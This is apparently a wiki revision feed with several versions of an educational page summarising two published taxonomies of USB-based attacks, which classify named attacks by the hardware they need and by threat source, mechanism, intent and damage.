Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the Hardware Required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16628</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16628"/>
		<updated>2024-12-04T13:47:34Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the hardware required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16627</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16627"/>
		<updated>2024-12-04T13:44:53Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the hardware required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified [NYE17]. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16613</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16613"/>
		<updated>2024-12-02T22:49:38Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices [NYE17]. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks[MS19, NYE17].&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the hardware required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified [NYE17]. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
